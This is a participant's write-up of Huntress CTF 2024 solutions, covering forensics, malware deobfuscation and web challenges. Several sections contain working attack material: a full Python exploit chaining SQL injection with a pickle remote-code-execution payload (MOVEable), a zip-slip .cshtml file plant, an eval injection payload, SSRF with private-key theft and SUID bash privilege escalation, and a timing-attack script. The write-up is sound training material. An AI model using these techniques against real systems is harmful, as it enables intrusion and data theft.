Huntress CTF 2024

HTB Sherlock - Heist Writeup

This year, Huntress organized its annual Capture The Flag event in October to celebrate Cybersecurity Awareness Month. The event spanned the entire month and featured challenges in forensics, malware, OSINT, general tasks, and warm-up challenges. I participated with the No Man’s Root team. For our first time, we managed to rank 78th out of 3444 teams. In this post, I’ll share some of the solutions I completed—and there were quite a few!

The event included 71 tasks, of which I solved 46. I also want to thank everyone who supported me throughout, even though I haven’t mentioned them by name here. Below, I present my scoring statistics and our team’s results. For my first time really diving into a CTF from start to finish, I think I did quite well. The large number of unsolved tasks shown on the chart reflects the frustration that crept in at some point. I’m still clearly lacking proficiency in reverse engineering—despite having parts of the flag, I couldn’t determine their correct order (thanks for the support, lady_debug!).

Points scored and my team’s rank.
Points scored and my team’s rank.
My task completion statistics.
My task completion statistics.

TXT Message

Challenge Type: Warmups
Author: @JohnHammond

Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…

The task description tells us there’s an additional, unusual entry in the DNS. Typically, when we want to add a custom value to our DNS records, we use a TXT record. Therefore, the first command I ran was dig -t txt +short ctf.games. In response, I received the following entry: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175. This looks like encoded text containing the flag. Without further ado, I used ChatGPT, which quickly provided me with the answer:

TXT Message.
TXT Message.

MatryoshkaQR

Challenge Type: Warmups
Author: @JohnHammond

Wow! This is a big QR code! I wonder what it says…?

The challenge included a PNG file with a QR code, shown below:

QR code provided for the task.
QR code provided for the task.

Scanning the QR code revealed data beginning with the phrase “PNG”. I suspected it was another image encoded in hexadecimal. Using the following script, I saved this data into a new PNG file:

encoded_string = (
    "\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
    "\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
    "\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
    "\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
    "\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
    "\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
    "\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
    "\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
    "\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
    "d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
    "\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
    "\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
    "\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
    "\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
    "\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)

def decode_and_save(encoded_str, output_filename):
    byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
    
    with open(output_filename, 'wb') as file:
        file.write(byte_data)

output_file = "output.png"
decode_and_save(encoded_string, output_file)

Running this code yielded another QR code:

Obtained QR code.
Obtained QR code.

Scanning it revealed the flag: flag{01c6e24c48f48856ee3adcca00f86e9b}

Base64by32

Challenge Type: Scripting
Author: @JohnHammond

This is a dumb challenge. I’m sorry.

The task included a base64by32.zip file, which, after unpacking, revealed a text file encoded in base64. Using CyberChef, I repeatedly applied base64 decoding operations until I obtained the flag (probably up to 32 times!).

Decoded flag.
Decoded flag.

Obfuscation Station

Challenge Type: Forensics
Author: @resume

You’ve reached the Obfuscation Station! Can you decode this PowerShell script to find the flag?

The task included a Challenge.zip file, which, when unpacked, contained a PowerShell script named chal.ps1. Here’s the script content:

(nEW-objECt  SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt  sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')

First, I used CyberChef to improve the script’s readability by normalizing the case to lowercase:

Normalized script.
Normalized script.

Then, using a reversal script, I decoded the flag (it took a while to realize I was copying the base64 data incorrectly – I was copying only the lowercase characters instead of preserving the original format from the script):

import base64
import zlib

encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))

Decoded flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'

Hidden Streams

Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)

Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?

To solve the challenge, I used my favorite tool for searching Windows events, Chainsaw. Using the command chainsaw search 'powershell' -i Sysmon.evtx, I listed all PowerShell-related events. Among them, I found an event containing additional content encoded in base64:

Detected event with encoded base64 message.
Detected event with encoded base64 message

Decoded flag: flag{bfefb891183032f44fa93d0c7bd40da9}

Echo Chamber

Challenge Type: Scripting
Author: @JohnHammond#6971

Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!

For this challenge, we received a pcap file containing only ICMP packets. I noticed information being sent in the packet data. I filtered only the requests, saved the result as CSV, and then pasted it into CyberChef to decode it. Each character appeared duplicated around 40 times. After removing duplicates, I obtained the flag.

Normalized script.
Content of the pcap file
Normalized script.
Decoded packets with duplicated flag values.

Decoded flag: flag{6b388a9117a7554d88bf384d7c73fd6e}

Keyboard Junkie

Challenge Type: Forensics
Author: @JohnHammond

My friend wouldn’t shut up about his new keyboard, so…

We received a pcap file containing captured communication from a USB keyboard. After a few Google searches, I found a script to solve the task.

tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData

Obtained flag.
Obtained flag.

Zimmer Down

Challenge Type: Forensics
Author: @sudo_Rem

A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?

For this task, we received an NTUSER.DAT file. Using Registry Explorer and the keyword flag, I searched the registry, but the task creators made it a bit tricky by adding many “not the flag” entries. Searching nearby results, I found an entry named b62 that contained encoded content. After decoding it, I found the flag.

Flag encoded in base62 format in the registry.
Flag encoded in base62 format in the registry.
Decoded flag.
Decoded flag.

X-RAY

Challenge Type: Malware
Author: @JohnHammond

The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?

The task description mentioned that the file had been quarantined, so I assumed it was likely done by Windows Defender. First, I found a script to restore the file. Upon restoring, I found that it was an executable created in .NET.

Decoded file from Windows Defender quarantine.
Decoded file from Windows Defender quarantine.

Then, I decompiled the program using dotPeek. In the main code, I found two encoded values and a decoding operation. I copied the code and had ChatGPT convert it into Python. Running the modified script revealed the flag.

Code containing the encoded flag.
Code containing the encoded flag.

import sys
import codecs

def load(hex_string):
    length = len(hex_string)
    num_array = bytearray(length // 2)
    for start_index in range(0, length, 2):
        num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
    return num_array

def otp(data1, data2):
    return bytearray(a ^ b for a, b in zip(data1, data2))

data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))

Decoded flag: flag{df26090565cb329fdc8357080700b621}

Strange Calc

Challenge Type: Malware
Author: @JohnHammond

I got this new calculator app from my friend! But it’s really weird; for some reason, it needs admin permissions to run??

As with every analyzed sample, I began by checking basic information about the exe file using PeStudio. I noticed that it was packed with UPX and created using AutoIt automation scripts.

Executable file analysis.
Executable file analysis.

After unpacking the file, I got an .au script containing base64 encoding.

Content of the exe file after unpacking.
Content of the exe file after unpacking.

The decoded base64 content revealed a .jse file. After deobfuscating it in CyberChef, I obtained JavaScript code, though for unknown reasons, the script didn’t reveal its actual content. ChatGPT quickly decoded it for me.

Decoded base64 content.
Decoded base64 content.
Decoded flag.
Decoded flag.

Sekiro

Challenge Type: Miscellaneous
Author: @HuskyHacks

お前はもう死んでいる

Our opponent.
Our opponent.

The goal of this task was to defeat the opponent as quickly as possible. After trial and error, observing the opponent’s behavior, I created a script that allowed me to win.

import pexpect

process = pexpect.spawn(f'nc challenge.ctf.games 32166')

try:
    while True:
        process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
        print(process.before.decode('utf-8').strip())
        opponent_move = process.match.group(1).decode('utf-8').strip()
        print(f"Opponent move: `{opponent_move}`")
        process.expect('Your move:')

        if 'block' in opponent_move:
            move = 'advance'

        elif 'strike' in opponent_move:
            move = 'block' 

        elif 'advance' in opponent_move:
            move = 'retreat'

        elif 'retreat' in opponent_move:
            move = 'strike'
        
        process.sendline(move)
        print(f"Your move: {move}")

except pexpect.EOF:
    print(process.before.decode('utf-8').strip())

Obtained flag.
Obtained flag.

Russian Roulette

Challenge Type: Malware
Author: @JohnHammond

My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(

WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation, there is a real possibility that your VM may crash.

For this task, we received a Windows shortcut (.lnk) file that downloaded malware from the internet. The downloaded file was heavily obfuscated PowerShell script. Instead of manually analyzing it, which would take a lot of time, I used Any.Run to analyze it dynamically. After running the file and tracing the PowerShell calls, I found a base64-encoded value.

Encoded payload in base64.
Encoded payload in base64.
I then used CyberChef to decode it, revealing another layer, this time encrypted with AES.
Decoded base64 payload.
Decoded base64 payload.
After decrypting the AES layer, I obtained the flag.
Obtained flag.
Decrypted flag.

The Void

Challenge Type: Warmups
Author: @JohnHammond#6971

When you gaze long into the void, the void gazes also into you…

Connecting to the task presented a black screen, darker than usual in the console.

First attempt to connect to the service.
First attempt to connect to the service.

I decided to redirect the entire input to a file. Opening the file in vi, I noticed characters resembling color codes used in bash. nc challenge.ctf.games 30124 > aaa

File content.
File content.

Using the sed command, I removed all colorization characters, which allowed me to retrieve the flag. cat aaa | sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"

Obtained flag.
Obtained flag.

Malibu

Challenge Type: Miscellaneous
Author: Truman Kain

What do you bring to the beach?

NOTE: Two things to remember for this challenge:

  1. This service takes a bit more time to start. If you see “Connection refused,” please wait a bit.
  2. The service won’t immediately respond or prompt you; it’s waiting for your input. If you just hit Enter, you’ll see what it is. Extra tip: once you know what the service is, try connecting in a better way. Then, use context clues and logical thinking based on its responses and the task description. No bruteforcing is necessary once you understand the infrastructure and enumerate. ;)

The task initially involved connecting to nc challenge.ctf.games 31426. After running the command, I noticed that the service communicated via HTTP.

Protocol identification.
Protocol identification.
I quickly used Burp Suite to learn more about the service. I observed a “Server” header, which hinted at the type of service being used.
Service identification.
Service identification.
A quick Google search showed that it was a bucket-handling service available for Linux. After downloading the appropriate client from here, I started configuring the service. At this point, finding the bucket name was crucial since listing all buckets was disabled. The task description suggested “ctf” or “bucket” as possible names. Once I identified the correct bucket, I listed its contents. I found a large number of files, so I decided to download the entire bucket locally.
Bucket contents.
Bucket contents.
Then, as usual, my first command was grep -r flag, which immediately led me to the solution.
Obtained flag.
Obtained flag.

Plantopia

Challenge Type: Web
Author: @HuskyHacks

Plantopia is our brand new, cutting-edge plant care management website! Built for hobbyists and professionals alike, it’s your one-stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword

After launching the application, a login panel appeared. I initially tried logging in with the provided credentials, but they didn’t work. So I started clicking through available links.

Application home page.
Application home page.
It turned out the application didn’t verify access, and API documentation was available via Swagger. While examining available endpoints, I noticed they required an authorization token. At the top, I found an “Authorize” button, which showed details on building the token. Surprisingly, the token didn’t require a login and password as expected for this setup.
Access to Swagger documentation and authorization header instructions.
Access to Swagger documentation and authorization header instructions.
I generated a timestamp with a future date, encoded it in base64, and found that the token worked, granting me API access.
Prepared token.
Prepared token.
Next, I tested a request setting an email-sending command, which had simple validation. Once the command was successfully set, I had to send a request to execute it.
Bypassing verification and setting a new command to load the flag.
Bypassing verification and setting a new command to load the flag.
Since this was a closed environment and I couldn’t use Burp Collaborator, I had to find another way to get the response.
Request to initiate email sending.
Request to initiate email sending.
The application logs endpoint proved helpful. After a few attempts, I retrieved the flag.
Obtained flag.
Obtained flag.

HelpfulDesk

Challenge Type: Web
Author: @HuskyHacks

HelpfulDesk is the go-to solution for small and medium businesses needing remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest version. Details were scarce, but it doesn’t seem good…

After accessing the application and reviewing the security bulletin, I noticed there was a new version available (1.2), while the deployed version was 1.1.

Security bulletin and detected software version.
Security bulletin and detected software version.
I downloaded the file and tried to identify changed files using a simple diff command. It quickly turned out the only significant change was in the HelpfulDesk.dll file. Then, using the file command, I verified the file type, revealing it was a .NET library.
Detected differences in files.
Detected differences in files.
Using DotPeek, I decompiled both library versions, saving them to separate folders. Then, with WinMerge, I compared changes between versions. In SetupController.cs, responsible for software configuration, the expression Trim('/') was removed in the newer version.
Comparison of differences after decompilation.
Comparison of differences after decompilation.
I decided to visit the suggested URL path. Entering /Setup/SetupWizard/ revealed the application’s setup panel, allowing me to set an administrator password.
Exploiting the vulnerability and setting a new admin password.
Exploiting the vulnerability and setting a new admin password.
After setting my own password, e.g., admin:admin, I successfully logged into the application and retrieved the flag.
Admin file listing in the Desktop directory.
Admin file listing in the Desktop directory.

Obtained flag: flag{03a6f458b7483e93c37bd94b6dda462b}

MOVEable

Challenge Type: Web
Author: @JohnHammond#6971

Ever wanted to move your files? You know, like with a fancy web-based GUI instead of just FTP or something?
Well, now you can, with our super secure app, MOVEable!
Escalate your privileges and find the flag.

This task probably took me the most time, and the exploit was definitely the most complex. The code for the application was provided, which allowed me to prepare the exploit and then execute it in the CTF environment. The first vulnerability I discovered was in the login process; it allowed executing “stacked queries,” enabling us to add arbitrary values to tables in the database. Just when I thought I had everything, I discovered a bug in the code that caused the file download functionality not to work.

SQL Injection in the login process.
SQL Injection in the login process.
Upon closer inspection, I noticed that the file download function used pickle – a known library that allows remote code execution. Now that I knew how to insert data into the database and execute code, I was missing one key thing: the server response.
Location of the vulnerable pickle library.
Location of the vulnerable pickle library.
The application only returned a 500 error code on failure, without additional information. The solution was to communicate using session cookies. I managed to append any value to the cookie from the code level. However, the downside was that the appended cookie value had character limitations, so I had to reduce the number of characters to retrieve the entire communication.Next, I prepared the exploit. When I thought everything was ready and I just needed to query the database for the flag, I found that it wasn’t there. Returning to the task description, I noticed a hint about privilege escalation, meaning the flag was probably in the file system, likely in the /root directory.
Result of the <code>sudo -l</code> command.
Result of the sudo -l command.
The simplest way to escalate privileges was to use sudo. Running sudo -l showed what the user had access to. Fortunately, there was a NOPASSWD=ALL entry, meaning sudo could be used without a password – a common configuration mistake. Finally, I executed sudo cat /root/flag.txt to retrieve the flag.
Obtained flag.
Obtained flag.

import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}

HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return eval, (self.cmd,)


def init_session():
    print('init session')
    data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'

    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)


def get_flag_length():
    print('Get data length')
    filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
    payload = base64.urlsafe_b64encode(pickled).decode()
    print(payload)
    data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
    print(data)
    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)

    response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
    length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
    print(length)
    return length




def get_flag(start, end):
    print('Get data')
    filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
    payload = base64.urlsafe_b64encode(pickled).decode()
    data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'

    response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
    if response.status_code != 302:
        print('error')
        print(response.text)
        exit(-1)

    response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
    part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
    print(part)
    return part



init_session()
length = get_flag_length()

content = ""
for i in range(0, length, 10):
    if i + 10 < length:
        e = i + 10
    else:
        e = i + (length - i)
    print(i, e)
    try:
        content += get_flag(i, e)
    except:
        pass
    print(content)

print(base64_decode(content))

Backdoored Splunk II

Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)

You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: The focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to retrieve the flag.

The task included a zip file containing the Splunk_TA_windows package. After a short search, I found the original files available for download on this page. Using the diff command, I identified the differences between the files. The most interesting change was a heavily obfuscated PowerShell script.

File differences between the original and provided files.
File differences between the original and provided files.
Deobfuscating the script revealed a base64-encoded string, which decoded to an Invoke-WebRequest command with a URL and a header.
Deobfuscated PowerShell code.
Deobfuscated PowerShell code.
Obtained PowerShell code.
Obtained PowerShell code.
Executing the curl command yielded the flag.
Obtained flag.
Response after executing curl.
Obtained flag.
Obtained flag.

Stack It

Challenge Type: Reverse Engineering
Author: @sudo_Rem

Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised us to floss at least twice a day to help out. They also gave us this weird file. Maybe you can help us out?

The task included a file, stack_it.bin. Initial analysis showed it was an executable file with debug symbols removed.

Initial file analysis.
Initial file analysis.
After running GDB and executing several instructions, the flag appeared in the EDX register.
Flag in the EDX register.
Flag in the EDX register.

Zippy

Challenge Type: Web
Author: @HuskyHacks

Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for small to medium businesses!

The application provided by the organizers allowed uploading ZIP files, which were then extracted to a directory specified by the user.

Application home page.
Application home page.
The application had several vulnerabilities. The first allowed overwriting files using the ZIP archive content, and the second was a path traversal vulnerability that allowed directory traversal to view arbitrary directories.
Path traversal and directory contents exposure.
Path traversal and directory contents exposure.
Information on extracting files to arbitrary directories.
Information on extracting files to arbitrary directories.

The application was built with .NET technology and supported dynamic compilation of .cshtml files. I first created a .cshtml page that would load the flag from a specified location, then used an enhanced version of the evilarc script to create a ZIP file with the appropriate path.

@page
@using System.IO
@functions {
    public string GetFileContent()
    {
        string filePath = "/app/flag.txt";
        if (System.IO.File.Exists(filePath))
        {
            return System.IO.File.ReadAllText(filePath); 
        }
        else
        {
            return "File not found.";
        }
    }
}

@{
    ViewData["Title"] = "About";
    var fileContent = GetFileContent();
}

<h2>Contents of /app/flag.txt</h2>
<pre>
    @fileContent
</pre>

After uploading the payload, it overwrote the existing file responsible for displaying user information, thus displaying the flag.

Preparing payload.
Preparing payload.
Uploading malicious file.
Uploading malicious file.
Executing code and obtaining the flag.
Executing code and obtaining the flag.

PillowFight

Challenge Type: Web
Author: @HuskyHacks

PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing. *Note to investors: This isn’t technically true at the moment; we’re using a Python library, but please give us funding, and we’ll deliver it, we promise.

The web application was created to combine images.

Application home page.
Application home page.
Besides the functions accessible via the GUI, it also allowed interaction through the API. In the API documentation, I noticed an additional eval_command parameter.
API documentation.
API documentation.
After sending a sample request, I discovered the software version in the response headers. Adjusting the command content revealed that the command result needed to create an object with a save method.
Technology used.
Technology used.
Pillow library’s <code>save</code> method documentation.
Pillow library’s save method documentation.

Using the Pillow library documentation, I prepared a code snippet that, with a Python lambda function, created an object containing the save method to read the flag from the system.

eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")

Executing code and obtaining the flag.
Executing code and obtaining the flag.

Permission to Proxy

Challenge Type: Miscellaneous
Author: @JohnHammond

Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;)

The task involved a configured Squid proxy service. The task description and type of service suggested looking for SSRF vulnerabilities.

Main page.
Main page.
After a few attempts, I identified the first open port – 22, where the SSH service was running.
SSRF identification and open port 22.
SSRF identification and open port 22.
Using Corkscrew as a tunneling tool, I configured SSH to route through the Squid proxy. However, I still needed a private key and username to log into the service.

.ssh/config
host * 
    ProxyCommand corkscrew challenge.ctf.games 31619 %h %p

Patience was key here, as I eventually found a service on port 50,000 that allowed reading files from the server.

File access in the user’s directory.
File access in the user’s directory.
The service responded very slowly, but in /home/user/.ssh/id_rsa, I found and downloaded the private key. ![User’s RSA private key obtained.](/img/huntress-ctf-2024/Proxy3.png ‘User’s RSA private key obtained.’) Next, I logged into the server using the previously prepared configuration. According to the task description, the next step was privilege escalation to root. My first command was find / -perm /2000 -or -perm /4000 2>/dev/null, which, to my surprise, listed the /bin/bash binary.
Using the proxy and logging into the user account with the obtained key.
Using the proxy and logging into the user account with the obtained key.
Using the /bin/bash -p command, I escalated privileges and then read the flag from the root directory.
Privilege escalation and obtaining the flag.
Privilege escalation and obtaining the flag.

Time Will Tell

Challenge Type: Miscellaneous
Author: @aenygma

A side-channel timing attack.
Figure out the password in 90 seconds before the connection terminates.
The password is dynamic and changes every session.

For this task, we were provided with code, where the most interesting part was how it verified the password’s correctness. The application checked the password character by character, and when a character was correct, it performed “heavy calculations” by calling the sleep function with a delay of 1.5 seconds.

Password verification code.
Password verification code.

import pexpect
import time

child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")

possible_chars = "0123456789abcdef"
password = ""
password_len = 8

child.expect("Figure out the password")

for i in range(password_len):
    max_time = 0.19
    correct_char = ''

    for char in possible_chars:
        guess = password + char + "x" * (password_len - len(password) - 1)
        
        start_time = time.perf_counter()
        child.sendline(guess)
        try:
            child.expect(": ")
            elapsed_time = time.perf_counter() - start_time
            
            output = child.before.strip()
            print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")

            if elapsed_time > max_time:
                max_time = elapsed_time 
                correct_char = possible_chars[possible_chars.index(char) - 1]

        except pexpect.exceptions.TIMEOUT:
            print(f"Timeout for char: {char}")
            continue

    password += correct_char
    print(f"Found char: {correct_char} on {i}, current password: {password}")

print(f"Password: {password}")

child.sendline(password)
child.expect("flag:") 
flag = child.before
print(f"Flag: {flag}")

child.logfile.close()

After writing the script, which worked correctly on my computer, I had to make some minor adjustments during flag retrieval to account for network latency.

Script execution and obtained flag.
Script execution and obtained flag.

Palimpsest

Challenge Type: Malware
Author: Adam Rice (@adam.huntress)

Our IT department was setting up a new workstation and encountered strange errors during software installation. The technician noticed an unusual scheduled task, luckily backed it up, and downloaded a few log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.

The task provided .evtx (Windows event logs) files and a configuration for the suspicious task.

Task-provided files.
Task-provided files.
In the task file, we found a line:
Command executed by the included task.
Command executed by the included task.
Querying the DNS server for TXT records, I received a message encoded in base64:
TXT record content.
TXT record content.
After decoding the message, I obtained a PowerShell script.
First deobfuscation step.
First deobfuscation step.
With experience showing that further deobfuscation could take time, I opted for dynamic analysis and ran the script in Any.Run. Tracing the calls revealed a script that did not execute due to missing MsInstaller application logs (Application log).
Script that failed to execute in Any.Run.
Script that failed to execute in Any.Run.

The final deobfuscated script retrieved events related to MsInstaller with IDs from 40000 to 65000 and saved them to a file named flag.mp4.

$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000

$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)

Get-EventLog -LogName "Application" -Source "Mslnstaller" |
    Where-Object { $instanceRange -contains $_.InstanceId } |
    Sort-Object Index |
    ForEach-Object {
        $data = $_.Data
        $fileStream.Write($data, 0, $data.Length)
    }

$fileStream.Close()

I had trouble adapting the script to work correctly, so I used chainsaw and jq tools. Using the commands below, I extracted the mp4 file.

chainsaw/target/release/chainsaw search 'Mslnstaller' logs/ --json -o "output.json" 
jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json | xxd -r -p > flag.mp4 

The mp4 file contained the flag :)

Obtained flag.
Obtained flag.